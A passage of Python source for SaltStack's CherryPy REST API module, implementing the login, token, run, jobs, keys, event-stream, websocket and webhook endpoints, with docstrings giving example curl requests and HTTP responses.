:term:`lowstate` data describing Salt commands must be sent in the request body. The ``client`` option will be set to :py:meth:`~salt.client.LocalClient.local_async`. **Example request:** .. code-block:: bash curl -sSi localhost:8000/minions \\ -b ~/cookies.txt \\ -H "Accept: application/x-yaml" \\ -d '[{"tgt": "*", "fun": "status.diskusage"}]' .. code-block:: http POST /minions HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml Content-Type: application/json tgt=*&fun=status.diskusage **Example response:** .. code-block:: http HTTP/1.1 202 Accepted Content-Length: 86 Content-Type: application/x-yaml return: - jid: '20130603122505459265' minions: [ms-4, ms-3, ms-2, ms-1, ms-0] _links: jobs: - href: /jobs/20130603122505459265 ''' job_data = list(self.exec_lowstate(client='local_async', token=cherrypy.session.get('token'))) cherrypy.response.status = 202 return { 'return': job_data, '_links': { 'jobs': [{'href': '/jobs/{0}'.format(i['jid'])} for i in job_data if i], }, } class Jobs(LowDataAdapter): _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.salt_auth.on': True, }) def GET(self, jid=None, timeout=''): ''' A convenience URL for getting lists of previously run jobs or getting the return from a single job .. http:get:: /jobs/(jid) List jobs or show a single job from the job cache. :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000/jobs .. code-block:: http GET /jobs HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Length: 165 Content-Type: application/x-yaml return: - '20121130104633606931': Arguments: - '3' Function: test.fib Start Time: 2012, Nov 30 10:46:33.606931 Target: jerry Target-type: glob **Example request:** .. code-block:: bash curl -i localhost:8000/jobs/20121130104633606931 .. code-block:: http GET /jobs/20121130104633606931 HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Length: 73 Content-Type: application/x-yaml info: - Arguments: - '3' Function: test.fib Minions: - jerry Start Time: 2012, Nov 30 10:46:33.606931 Target: '*' Target-type: glob User: saltdev jid: '20121130104633606931' return: - jerry: - - 0 - 1 - 1 - 2 - 6.9141387939453125e-06 ''' lowstate = {'client': 'runner'} if jid: lowstate.update({'fun': 'jobs.list_job', 'jid': jid}) else: lowstate.update({'fun': 'jobs.list_jobs'}) cherrypy.request.lowstate = [lowstate] job_ret_info = list(self.exec_lowstate( token=cherrypy.session.get('token'))) ret = {} if jid: ret['info'] = [job_ret_info[0]] minion_ret = {} returns = job_ret_info[0].get('Result') for minion in returns: if u'return' in returns[minion]: minion_ret[minion] = returns[minion].get(u'return') else: minion_ret[minion] = returns[minion].get('return') ret['return'] = [minion_ret] else: ret['return'] = [job_ret_info[0]] return ret class Keys(LowDataAdapter): ''' Convenience URLs for working with minion keys .. versionadded:: 2014.7.0 These URLs wrap the functionality provided by the :py:mod:`key wheel module <salt.wheel.key>` functions. ''' def GET(self, mid=None): ''' Show the list of minion keys or detail on a specific key .. versionadded:: 2014.7.0 .. http:get:: /keys/(mid) List all keys or show a specific key :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000/keys .. code-block:: http GET /keys HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Length: 165 Content-Type: application/x-yaml return: local: - master.pem - master.pub minions: - jerry minions_pre: [] minions_rejected: [] **Example request:** .. code-block:: bash curl -i localhost:8000/keys/jerry .. code-block:: http GET /keys/jerry HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Length: 73 Content-Type: application/x-yaml return: minions: jerry: 51:93:b3:d0:9f:3a:6d:e5:28:67:c2:4b:27:d6:cd:2b ''' if mid: lowstate = [{ 'client': 'wheel', 'fun': 'key.finger', 'match': mid, }] else: lowstate = [{ 'client': 'wheel', 'fun': 'key.list_all', }] cherrypy.request.lowstate = lowstate result = self.exec_lowstate(token=cherrypy.session.get('token')) return {'return': next(result, {}).get('data', {}).get('return', {})} @cherrypy.config(**{'tools.hypermedia_out.on': False, 'tools.sessions.on': False}) def POST(self, **kwargs): r''' Easily generate keys for a minion and auto-accept the new key Accepts all the same parameters as the :py:func:`key.gen_accept <salt.wheel.key.gen_accept>`. .. note:: A note about ``curl`` Avoid using the ``-i`` flag or HTTP headers will be written and produce an invalid tar file. Example partial kickstart script to bootstrap a new minion: .. code-block:: text %post mkdir -p /etc/salt/pki/minion curl -sSk https://localhost:8000/keys \ -d mid=jerry \ -d username=kickstart \ -d password=kickstart \ -d eauth=pam \ | tar -C /etc/salt/pki/minion -xf - mkdir -p /etc/salt/minion.d printf 'master: 10.0.0.5\nid: jerry' > /etc/salt/minion.d/id.conf %end .. http:post:: /keys Generate a public and private key and return both as a tarball Authentication credentials must be passed in the request. :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -sSk https://localhost:8000/keys \ -d mid=jerry \ -d username=kickstart \ -d password=kickstart \ -d eauth=pam \ -o jerry-salt-keys.tar .. code-block:: http POST /keys HTTP/1.1 Host: localhost:8000 **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Length: 10240 Content-Disposition: attachment; filename="saltkeys-jerry.tar" Content-Type: application/x-tar jerry.pub0000644000000000000000000000070300000000000010730 0ustar 00000000000000 ''' lowstate = cherrypy.request.lowstate lowstate[0].update({ 'client': 'wheel', 'fun': 'key.gen_accept', }) if 'mid' in lowstate[0]: lowstate[0]['id_'] = lowstate[0].pop('mid') result = self.exec_lowstate() ret = next(result, {}).get('data', {}).get('return', {}) pub_key = ret.get('pub', '') pub_key_file = tarfile.TarInfo('minion.pub') pub_key_file.size = len(pub_key) priv_key = ret.get('priv', '') priv_key_file = tarfile.TarInfo('minion.pem') priv_key_file.size = len(priv_key) fileobj = six.StringIO() tarball = tarfile.open(fileobj=fileobj, mode='w') tarball.addfile(pub_key_file, six.StringIO(pub_key)) tarball.addfile(priv_key_file, six.StringIO(priv_key)) tarball.close() headers = cherrypy.response.headers headers['Content-Disposition'] = 'attachment; filename="saltkeys-{0}.tar"'.format(lowstate[0]['id_']) headers['Content-Type'] = 'application/x-tar' headers['Content-Length'] = fileobj.len headers['Cache-Control'] = 'no-cache' fileobj.seek(0) return fileobj class Login(LowDataAdapter): ''' Log in to receive a session token :ref:`Authentication information <rest_cherrypy-auth>`. ''' def __init__(self, *args, **kwargs): super(Login, self).__init__(*args, **kwargs) self.auth = salt.auth.Resolver(self.opts) def GET(self): ''' Present the login interface .. http:get:: /login An explanation of how to log in. :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000/login .. code-block:: http GET /login HTTP/1.1 Host: localhost:8000 Accept: text/html **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Type: text/html ''' cherrypy.response.headers['WWW-Authenticate'] = 'Session' return { 'status': cherrypy.response.status, 'return': "Please log in", } def POST(self, **kwargs): ''' :ref:`Authenticate <rest_cherrypy-auth>` against Salt's eauth system .. http:post:: /login :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :reqheader Content-Type: |req_ct| :form eauth: the eauth backend configured for the user :form username: username :form password: password :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -si localhost:8000/login \\ -c ~/cookies.txt \\ -H "Accept: application/json" \\ -H "Content-type: application/json" \\ -d '{ "username": "saltuser", "password": "saltuser", "eauth": "auto" }' .. code-block:: http POST / HTTP/1.1 Host: localhost:8000 Content-Length: 42 Content-Type: application/json Accept: application/json {"username": "saltuser", "password": "saltuser", "eauth": "auto"} **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Type: application/json Content-Length: 206 X-Auth-Token: 6d1b722e Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/ {"return": { "token": "6d1b722e", "start": 1363805943.776223, "expire": 1363849143.776224, "user": "saltuser", "eauth": "pam", "perms": [ "grains.*", "status.*", "sys.*", "test.*" ] }} ''' if not self.api._is_master_running(): raise salt.exceptions.SaltDaemonNotRunning( 'Salt Master is not available.') # the urlencoded_processor will wrap this in a list if isinstance(cherrypy.serving.request.lowstate, list): creds = cherrypy.serving.request.lowstate[0] else: creds = cherrypy.serving.request.lowstate username = creds.get('username', None) # Validate against the whitelist. if not salt_api_acl_tool(username, cherrypy.request): raise cherrypy.HTTPError(401) # Mint token. token = self.auth.mk_token(creds) if 'token' not in token: raise cherrypy.HTTPError(401, 'Could not authenticate using provided credentials') cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id cherrypy.session['token'] = token['token'] cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60 # Grab eauth config for the current backend for the current user try: eauth = self.opts.get('external_auth', {}).get(token['eauth'], {}) if token['eauth'] == 'django' and '^model' in eauth: perms = token['auth_list'] else: # Get sum of '*' perms, user-specific perms, and group-specific perms perms = eauth.get(token['name'], []) perms.extend(eauth.get('*', [])) if 'groups' in token and token['groups']: user_groups = set(token['groups']) eauth_groups = set([i.rstrip('%') for i in eauth.keys() if i.endswith('%')]) for group in user_groups & eauth_groups: perms.extend(eauth['{0}%'.format(group)]) if not perms: logger.debug("Eauth permission list not found.") except Exception: logger.debug("Configuration for external_auth malformed for " "eauth '{0}', and user '{1}'." .format(token.get('eauth'), token.get('name')), exc_info=True) perms = None return {'return': [{ 'token': cherrypy.session.id, 'expire': token['expire'], 'start': token['start'], 'user': token['name'], 'eauth': token['eauth'], 'perms': perms or {}, }]} class Logout(LowDataAdapter): ''' Class to remove or invalidate sessions ''' _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.salt_auth.on': True, 'tools.lowdata_fmt.on': False, }) def POST(self): ''' Destroy the currently active session and expire the session cookie ''' cherrypy.lib.sessions.expire() # set client-side to expire cherrypy.session.regenerate() # replace server-side with new return {'return': "Your token has been cleared"} class Token(LowDataAdapter): ''' Generate a Salt token from eauth credentials Wraps functionality in the :py:mod:`auth Runner <salt.runners.auth>`. .. versionadded:: 2017.7.0 ''' @cherrypy.config(**{'tools.sessions.on': False}) def POST(self, **kwargs): r''' .. http:post:: /token Generate a Salt eauth token :status 200: |200| :status 400: |400| :status 401: |401| **Example request:** .. code-block:: bash curl -sSk https://localhost:8000/token \ -H 'Content-type: application/json' \ -d '{ "username": "saltdev", "password": "saltdev", "eauth": "auto" }' **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Type: application/json [{ "start": 1494987445.528182, "token": "e72ca1655d05...", "expire": 1495030645.528183, "name": "saltdev", "eauth": "auto" }] ''' for creds in cherrypy.request.lowstate: try: creds.update({ 'client': 'runner', 'fun': 'auth.mk_token', 'kwarg': { 'username': creds['username'], 'password': creds['password'], 'eauth': creds['eauth'], }, }) except KeyError: raise cherrypy.HTTPError(400, 'Require "username", "password", and "eauth" params') return list(self.exec_lowstate()) class Run(LowDataAdapter): ''' Run commands bypassing the :ref:`normal session handling <rest_cherrypy-auth>` salt-api does not enforce authorization, Salt's eauth system does that. Local/Runner/WheelClient all accept ``username``/``password``/``eauth`` **or** ``token`` kwargs that are then checked by the eauth system. The session mechanism in ``rest_cherrypy`` simply pairs a session with a Salt eauth token and then passes the ``token`` kwarg in automatically. If you already have a Salt eauth token, perhaps generated by the :py:func:`mk_token <salt.runners.auth.mk_token>` function in the Auth Runner module, then there is no reason to use sessions. This endpoint accepts either a ``username``, ``password``, ``eauth`` trio, **or** a ``token`` kwarg and does not make use of sessions at all. ''' _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.sessions.on': False, }) def POST(self, **kwargs): ''' Run commands bypassing the :ref:`normal session handling <rest_cherrypy-auth>` Other than that this URL is identical to the :py:meth:`root URL (/) <LowDataAdapter.POST>`. .. http:post:: /run An array of :term:`lowstate` data describing Salt commands must be sent in the request body. :status 200: |200| :status 400: |400| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -sS localhost:8000/run \\ -H 'Accept: application/x-yaml' \\ -H 'Content-type: application/json' \\ -d '[{ "client": "local", "tgt": "*", "fun": "test.ping", "username": "saltdev", "password": "saltdev", "eauth": "auto" }]' **Or** using a Salt Eauth token: .. code-block:: bash curl -sS localhost:8000/run \\ -H 'Accept: application/x-yaml' \\ -H 'Content-type: application/json' \\ -d '[{ "client": "local", "tgt": "*", "fun": "test.ping", "token": "<salt eauth token here>" }]' .. code-block:: http POST /run HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml Content-Length: 75 Content-Type: application/json [{"client": "local", "tgt": "*", "fun": "test.ping", "username": "saltdev", "password": "saltdev", "eauth": "auto"}] **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Length: 73 Content-Type: application/x-yaml return: - ms-0: true ms-1: true ms-2: true ms-3: true ms-4: true The /run enpoint can also be used to issue commands using the salt-ssh subsystem. When using salt-ssh, eauth credentials should not be supplied. Instad, authentication should be handled by the SSH layer itself. The use of the salt-ssh client does not require a salt master to be running. Instead, only a roster file must be present in the salt configuration directory. All SSH client requests are synchronous. **Example SSH client request:** .. code-block:: bash curl -sS localhost:8000/run \\ -H 'Accept: application/x-yaml' \\ -d client='ssh' \\ -d tgt='*' \\ -d fun='test.ping' .. code-block:: http POST /run HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml Content-Length: 75 Content-Type: application/x-www-form-urlencoded client=ssh&tgt=*&fun=test.ping **Example SSH response:** .. code-block:: http return: - silver: fun: test.ping fun_args: [] id: silver jid: '20141203103525666185' retcode: 0 return: true success: true ''' return { 'return': list(self.exec_lowstate()), } class Events(object): ''' Expose the Salt event bus The event bus on the Salt master exposes a large variety of things, notably when executions are started on the master and also when minions ultimately return their results. This URL provides a real-time window into a running Salt infrastructure. .. seealso:: :ref:`events` ''' exposed = True _cp_config = dict(LowDataAdapter._cp_config, **{ 'response.stream': True, 'tools.encode.encoding': 'utf-8', # Auth handled manually below 'tools.salt_auth.on': False, 'tools.hypermedia_in.on': False, 'tools.hypermedia_out.on': False, }) def __init__(self): self.opts = cherrypy.config['saltopts'] self.resolver = salt.auth.Resolver(self.opts) def _is_valid_token(self, auth_token): ''' Check if this is a valid salt-api token or valid Salt token salt-api tokens are regular session tokens that tie back to a real Salt token. Salt tokens are tokens generated by Salt's eauth system. :return bool: True if valid, False if not valid. ''' if auth_token is None: return False # First check if the given token is in our session table; if so it's a # salt-api token and we need to get the Salt token from there. orig_session, _ = cherrypy.session.cache.get(auth_token, ({}, None)) # If it's not in the session table, assume it's a regular Salt token. salt_token = orig_session.get('token', auth_token) # The eauth system does not currently support perms for the event # stream, so we're just checking if the token exists not if the token # allows access. if salt_token and self.resolver.get_token(salt_token): return True return False def GET(self, token=None, salt_token=None): r''' An HTTP stream of the Salt master event bus This stream is formatted per the Server Sent Events (SSE) spec. Each event is formatted as JSON. .. http:get:: /events :status 200: |200| :status 401: |401| :status 406: |406| :query token: **optional** parameter containing the token ordinarily supplied via the X-Auth-Token header in order to allow cross-domain requests in browsers that do not include CORS support in the EventSource API. E.g., ``curl -NsS localhost:8000/events?token=308650d`` :query salt_token: **optional** parameter containing a raw Salt *eauth token* (not to be confused with the token returned from the /login URL). E.g., ``curl -NsS localhost:8000/events?salt_token=30742765`` **Example request:** .. code-block:: bash curl -NsS localhost:8000/events .. code-block:: http GET /events HTTP/1.1 Host: localhost:8000 **Example response:** Note, the ``tag`` field is not part of the spec. SSE compliant clients should ignore unknown fields. This addition allows non-compliant clients to only watch for certain tags without having to deserialze the JSON object each time. .. code-block:: http HTTP/1.1 200 OK Connection: keep-alive Cache-Control: no-cache Content-Type: text/event-stream;charset=utf-8 retry: 400 tag: salt/job/20130802115730568475/new data: {'tag': 'salt/job/20130802115730568475/new', 'data': {'minions': ['ms-4', 'ms-3', 'ms-2', 'ms-1', 'ms-0']}} tag: salt/job/20130802115730568475/ret/jerry data: {'tag': 'salt/job/20130802115730568475/ret/jerry', 'data': {'jid': '20130802115730568475', 'return': True, 'retcode': 0, 'success': True, 'cmd': '_return', 'fun': 'test.ping', 'id': 'ms-1'}} The event stream can be easily consumed via JavaScript: .. code-block:: javascript var source = new EventSource('/events'); source.onopen = function() { console.info('Listening ...') }; source.onerror = function(err) { console.error(err) }; source.onmessage = function(message) { var saltEvent = JSON.parse(message.data); console.log(saltEvent.tag, saltEvent.data); }; Note, the SSE stream is fast and completely asynchronous and Salt is very fast. If a job is created using a regular POST request, it is possible that the job return will be available on the SSE stream before the response for the POST request arrives. It is important to take that asynchronicity into account when designing an application. Below are some general guidelines. * Subscribe to the SSE stream _before_ creating any events. * Process SSE events directly as they arrive and don't wait for any other process to "complete" first (like an ajax request). * Keep a buffer of events if the event stream must be used for synchronous lookups. * Be cautious in writing Salt's event stream directly to the DOM. It is very busy and can quickly overwhelm the memory allocated to a browser tab. A full, working proof-of-concept JavaScript appliction is available :blob:`adjacent to this file <salt/netapi/rest_cherrypy/index.html>`. It can be viewed by pointing a browser at the ``/app`` endpoint in a running ``rest_cherrypy`` instance. Or using CORS: .. code-block:: javascript var source = new EventSource('/events?token=ecd589e4e01912cf3c4035afad73426dbb8dba75', {withCredentials: true}); It is also possible to consume the stream via the shell. Records are separated by blank lines; the ``data:`` and ``tag:`` prefixes will need to be removed manually before attempting to unserialize the JSON. curl's ``-N`` flag turns off input buffering which is required to process the stream incrementally. Here is a basic example of printing each event as it comes in: .. code-block:: bash curl -NsS localhost:8000/events |\ while IFS= read -r line ; do echo $line done Here is an example of using awk to filter events based on tag: .. code-block:: bash curl -NsS localhost:8000/events |\ awk ' BEGIN { RS=""; FS="\\n" } $1 ~ /^tag: salt\/job\/[0-9]+\/new$/ { print $0 } ' tag: salt/job/20140112010149808995/new data: {"tag": "salt/job/20140112010149808995/new", "data": {"tgt_type": "glob", "jid": "20140112010149808995", "tgt": "jerry", "_stamp": "2014-01-12_01:01:49.809617", "user": "shouse", "arg": [], "fun": "test.ping", "minions": ["jerry"]}} tag: 20140112010149808995 data: {"tag": "20140112010149808995", "data": {"fun_args": [], "jid": "20140112010149808995", "return": true, "retcode": 0, "success": true, "cmd": "_return", "_stamp": "2014-01-12_01:01:49.819316", "fun": "test.ping", "id": "jerry"}} ''' cookies = cherrypy.request.cookie auth_token = token or salt_token or ( cookies['session_id'].value if 'session_id' in cookies else None) if not self._is_valid_token(auth_token): raise cherrypy.HTTPError(401) # Release the session lock before starting the long-running response cherrypy.session.release_lock() cherrypy.response.headers['Content-Type'] = 'text/event-stream' cherrypy.response.headers['Cache-Control'] = 'no-cache' cherrypy.response.headers['Connection'] = 'keep-alive' def listen(): ''' An iterator to yield Salt events ''' event = salt.utils.event.get_event( 'master', sock_dir=self.opts['sock_dir'], transport=self.opts['transport'], opts=self.opts, listen=True) stream = event.iter_events(full=True, auto_reconnect=True) yield str('retry: 400\n') # future lint: disable=blacklisted-function while True: data = next(stream) yield str('tag: {0}\n').format(data.get('tag', '')) # future lint: disable=blacklisted-function yield str('data: {0}\n\n').format(salt.utils.json.dumps(data)) # future lint: disable=blacklisted-function return listen() class WebsocketEndpoint(object): ''' Open a WebSocket connection to Salt's event bus The event bus on the Salt master exposes a large variety of things, notably when executions are started on the master and also when minions ultimately return their results. This URL provides a real-time window into a running Salt infrastructure. Uses websocket as the transport mechanism. .. seealso:: :ref:`events` ''' exposed = True _cp_config = dict(LowDataAdapter._cp_config, **{ 'response.stream': True, 'tools.encode.encoding': 'utf-8', # Auth handled manually below 'tools.salt_auth.on': False, 'tools.hypermedia_in.on': False, 'tools.hypermedia_out.on': False, 'tools.websocket.on': True, 'tools.websocket.handler_cls': websockets.SynchronizingWebsocket, }) def __init__(self): self.opts = cherrypy.config['saltopts'] self.auth = salt.auth.LoadAuth(self.opts) def GET(self, token=None, **kwargs): ''' Return a websocket connection of Salt's event stream .. http:get:: /ws/(token) :query format_events: The event stream will undergo server-side formatting if the ``format_events`` URL parameter is included in the request. This can be useful to avoid formatting on the client-side: .. code-block:: bash curl -NsS <...snip...> localhost:8000/ws?format_events :reqheader X-Auth-Token: an authentication token from :py:class:`~Login`. :status 101: switching to the websockets protocol :status 401: |401| :status 406: |406| **Example request:** :: curl -NsSk \\ -H 'X-Auth-Token: ffedf49d' \\ -H 'Host: localhost:8000' \\ -H 'Connection: Upgrade' \\ -H 'Upgrade: websocket' \\ -H 'Origin: https://localhost:8000' \\ -H 'Sec-WebSocket-Version: 13' \\ -H 'Sec-WebSocket-Key: '"$(echo -n $RANDOM | base64)" \\ localhost:8000/ws .. code-block:: http GET /ws HTTP/1.1 Connection: Upgrade Upgrade: websocket Host: localhost:8000 Origin: https://localhost:8000 Sec-WebSocket-Version: 13 Sec-WebSocket-Key: s65VsgHigh7v/Jcf4nXHnA== X-Auth-Token: ffedf49d **Example response**: .. code-block:: http HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: mWZjBV9FCglzn1rIKJAxrTFlnJE= Sec-WebSocket-Version: 13 An authentication token **may optionally** be passed as part of the URL for browsers that cannot be configured to send the authentication header or cookie: .. code-block:: bash curl -NsS <...snip...> localhost:8000/ws/ffedf49d The event stream can be easily consumed via JavaScript: .. code-block:: javascript // Note, you must be authenticated! var source = new Websocket('ws://localhost:8000/ws/d0ce6c1a'); source.onerror = function(e) { console.debug('error!', e); }; source.onmessage = function(e) { console.debug(e.data); }; source.send('websocket client ready') source.close(); Or via Python, using the Python module `websocket-client <https://pypi.python.org/pypi/websocket-client/>`_ for example. .. code-block:: python # Note, you must be authenticated! from websocket import create_connection ws = create_connection('ws://localhost:8000/ws/d0ce6c1a') ws.send('websocket client ready') # Look at https://pypi.python.org/pypi/websocket-client/ for more # examples. while listening_to_events: print ws.recv() ws.close() Above examples show how to establish a websocket connection to Salt and activating real time updates from Salt's event stream by signaling ``websocket client ready``. ''' # Pulling the session token from an URL param is a workaround for # browsers not supporting CORS in the EventSource API. if token: orig_session, _ = cherrypy.session.cache.get(token, ({}, None)) salt_token = orig_session.get('token') else: salt_token = cherrypy.session.get('token') # Manually verify the token if not salt_token or not self.auth.get_tok(salt_token): raise cherrypy.HTTPError(401) # Release the session lock before starting the long-running response cherrypy.session.release_lock() # A handler is the server side end of the websocket connection. Each # request spawns a new instance of this handler handler = cherrypy.request.ws_handler def event_stream(handler, pipe): ''' An iterator to return Salt events (and optionally format them) ''' # blocks until send is called on the parent end of this pipe. pipe.recv() event = salt.utils.event.get_event( 'master', sock_dir=self.opts['sock_dir'], transport=self.opts['transport'], opts=self.opts, listen=True) stream = event.iter_events(full=True, auto_reconnect=True) SaltInfo = event_processor.SaltInfo(handler) def signal_handler(signal, frame): os._exit(0) signal.signal(signal.SIGTERM, signal_handler) while True: data = next(stream) if data: try: # work around try to decode catch unicode errors if 'format_events' in kwargs: SaltInfo.process(data, salt_token, self.opts) else: handler.send( str('data: {0}\n\n').format(salt.utils.json.dumps(data)), # future lint: disable=blacklisted-function False ) except UnicodeDecodeError: logger.error( "Error: Salt event has non UTF-8 data:\n{0}" .format(data)) parent_pipe, child_pipe = Pipe() handler.pipe = parent_pipe handler.opts = self.opts # Process to handle async push to a client. # Each GET request causes a process to be kicked off. proc = Process(target=event_stream, args=(handler, child_pipe)) proc.start() class Webhook(object): ''' A generic web hook entry point that fires an event on Salt's event bus External services can POST data to this URL to trigger an event in Salt. For example, Amazon SNS, Jenkins-CI or Travis-CI, or GitHub web hooks. .. note:: Be mindful of security Salt's Reactor can run any code. A Reactor SLS that responds to a hook event is responsible for validating that the event came from a trusted source and contains valid data. **This is a generic interface and securing it is up to you!** This URL requires authentication however not all external services can be configured to authenticate. For this reason authentication can be selectively disabled for this URL. Follow best practices -- always use SSL, pass a secret key, configure the firewall to only allow traffic from a known source, etc. The event data is taken from the request body. The :mailheader:`Content-Type` header is respected for the payload. The event tag is prefixed with ``salt/netapi/hook`` and the URL path is appended to the end. For example, a ``POST`` request sent to ``/hook/mycompany/myapp/mydata`` will produce a Salt event with the tag ``salt/netapi/hook/mycompany/myapp/mydata``. The following is an example ``.travis.yml`` file to send notifications to Salt of successful test runs: .. code-block:: yaml language: python script: python -m unittest tests after_success: - | curl -sSk https://saltapi-url.example.com:8000/hook/travis/build/success \ -d branch="${TRAVIS_BRANCH}" \ -d commit="${TRAVIS_COMMIT}" .. seealso:: :ref:`events`, :ref:`reactor` ''' exposed = True tag_base = ['salt', 'netapi', 'hook'] _cp_config = dict(LowDataAdapter._cp_config, **{ # Don't do any lowdata processing on the POST data 'tools.lowdata_fmt.on': True, # Auth can be overridden in __init__(). 'tools.salt_auth.on': True, }) def __init__(self): self.opts = cherrypy.config['saltopts'] self.event = salt.utils.event.get_event( 'master', sock_dir=self.opts['sock_dir'], transport=self.opts['transport'], opts=self.opts, listen=False) if cherrypy.config['apiopts'].get('webhook_disable_auth'): self._cp_config['tools.salt_auth.on'] = False def POST(self, *args, **kwargs): ''' Fire an event in Salt with a custom event tag and data .. http:post:: /hook :status 200: |200| :status 401: |401| :status 406: |406| :status 413: request body is too large **Example request:** .. code-block:: bash curl -sS localhost:8000/hook \\ -H 'Content-type: application/json' \\ -d '{"foo": "Foo!", "bar": "Bar!"}' .. code-block:: http POST /hook HTTP/1.1 Host: localhost:8000 Content-Length: 16 Content-Type: application/json {"foo": "Foo!", "bar": "Bar!"} **Example response**: .. code-block:: http HTTP/1.1 200 OK Content-Length: 14 Content-Type: application/json {"success": true} As a practical example, an internal continuous-integration build server could send an HTTP POST request to the URL ``https://localhost:8000/hook/mycompany/build/success`` which contains the result of a build and the SHA of the version that was built as JSON. That would then produce the following event in Salt that could be used to kick off a deployment via Salt's Reactor:: Event fired at Fri Feb 14 17:40:11 2014 ************************* Tag: salt/netapi/hook/mycompany/build/success Data: {'_stamp': '2014-02-14_17:40:11.440996', 'headers': { 'X-My-Secret-Key': 'F0fAgoQjIT@W', 'Content-Length': '37', 'Content-Type': 'application/json', 'Host': 'localhost:8000', 'Remote-Addr': '127.0.0.1'}, 'post': {'revision': 'aa22a3c4b2e7', 'result': True}} Salt's Reactor could listen for the event: .. code-block:: yaml reactor: - 'salt/netapi/hook/mycompany/build/*': - /srv/reactor/react_ci_builds.sls And finally deploy the new build: .. code-block:: jinja {% set secret_key = data.get('headers', {}).get('X-My-Secret-Key') %} {% set build = data.get('post', {}) %} {% if secret_key == 'F0fAgoQjIT@W' and build.result == True %} deploy_my_app: cmd.state.sls: - tgt: 'application*' - arg: - myapp.deploy - kwarg: pillar: revision: {{ revision }} {% endif %} ''' tag = '/'.join(itertools.chain(self.tag_base, args)) data = cherrypy.serving.request.unserialized_data if not data: data = {} raw_body = getattr(cherrypy.serving.request, 'raw_body', '') headers = dict(cherrypy.request.headers) ret = self.event.fire_event({ 'body': raw_body, 'post': data, 'headers': headers, }, tag) return {'success': ret} class Stats(object): ''' Expose statistics on the running CherryPy server ''' exposed = True _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.salt_auth.on': True, }) def __init__(self): if cherrypy.config['apiopts'].get('stats_disable_auth'): self._cp_config['tools.salt_auth.on'] = False def GET(self): ''' Return a dump of statistics collected from the CherryPy server .. http:get:: /stats :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :resheader Content-Type: |res_ct| :status 200: |200| :status 401: |401| :status 406: |406| ''' if hasattr(logging, 'statistics'): return cpstats.extrapolate_statistics(logging.statistics) return {} class App(object): ''' Class to serve HTML5 apps ''' exposed = True def GET(self, *args): ''' Serve a single static file ignoring the remaining path This is useful in combination with a browser-based app using the HTML5 history API. .. http::get:: /app :reqheader X-Auth-Token: |req_token| :status 200: |200| :status 401: |401| ''' apiopts = cherrypy.config['apiopts'] default_index = os.path.abspath(os.path.join( os.path.dirname(__file__), 'index.html')) return cherrypy.lib.static.serve_file( apiopts.get('app', default_index)) class API(object): ''' Collect configuration and URL map for building the CherryPy app ''' url_map = { 'index': LowDataAdapter, 'login': Login, 'logout': Logout, 'token': Token, 'minions': Minions, 'run': Run, 'jobs': Jobs, 'keys': Keys, 'events': Events, 'stats': Stats, } def _setattr_url_map(self): ''' Set an attribute on the local instance for each key/val in url_map CherryPy uses class attributes to resolve URLs. ''' if self.apiopts.get('enable_sessions', True) is False: url_blacklist = ['login', 'logout', 'minions', 'jobs'] else: url_blacklist = [] urls = ((url, cls) for url, cls in six.iteritems(self.url_map) if url not in url_blacklist) for url, cls in urls: setattr(self, url, cls()) def _update_url_map(self): ''' Assemble any dynamic or configurable URLs ''' if HAS_WEBSOCKETS: self.url_map.update({ 'ws': WebsocketEndpoint, }) # Allow the Webhook URL to be overridden from the conf. self.url_map.update({ self.apiopts.get('webhook_url', 'hook').lstrip('/'): Webhook, }) # Enable the single-page JS app URL. self.url_map.update({ self.apiopts.get('app_path', 'app').lstrip('/'): App, }) def __init__(self): self.opts = cherrypy.config['saltopts'] self.apiopts = cherrypy.config['apiopts'] self._update_url_map() self._setattr_url_map() def get_conf(self): ''' Combine the CherryPy configuration with the rest_cherrypy config values pulled from the master config and return the CherryPy configuration ''' conf = { 'global': { 'server.socket_host': self.apiopts.get('host', '0.0.0.0'), 'server.socket_port': self.apiopts.get('port', 8000), 'server.thread_pool': self.apiopts.get('thread_pool', 100), 'server.socket_queue_size': self.apiopts.get('queue_size', 30), 'max_request_body_size': self.apiopts.get( 'max_request_body_size', 1048576), 'debug': self.apiopts.get('debug', False), 'log.access_file': self.apiopts.get('log_access_file', ''), 'log.error_file': self.apiopts.get('log_error_file', ''), }, '/': { 'request.dispatch': cherrypy.dispatch.MethodDispatcher(), 'tools.trailing_slash.on': True, 'tools.gzip.on': True, 'tools.html_override.on': True, 'tools.cors_tool.on': True, }, } if salt.utils.versions.version_cmp(cherrypy.__version__, 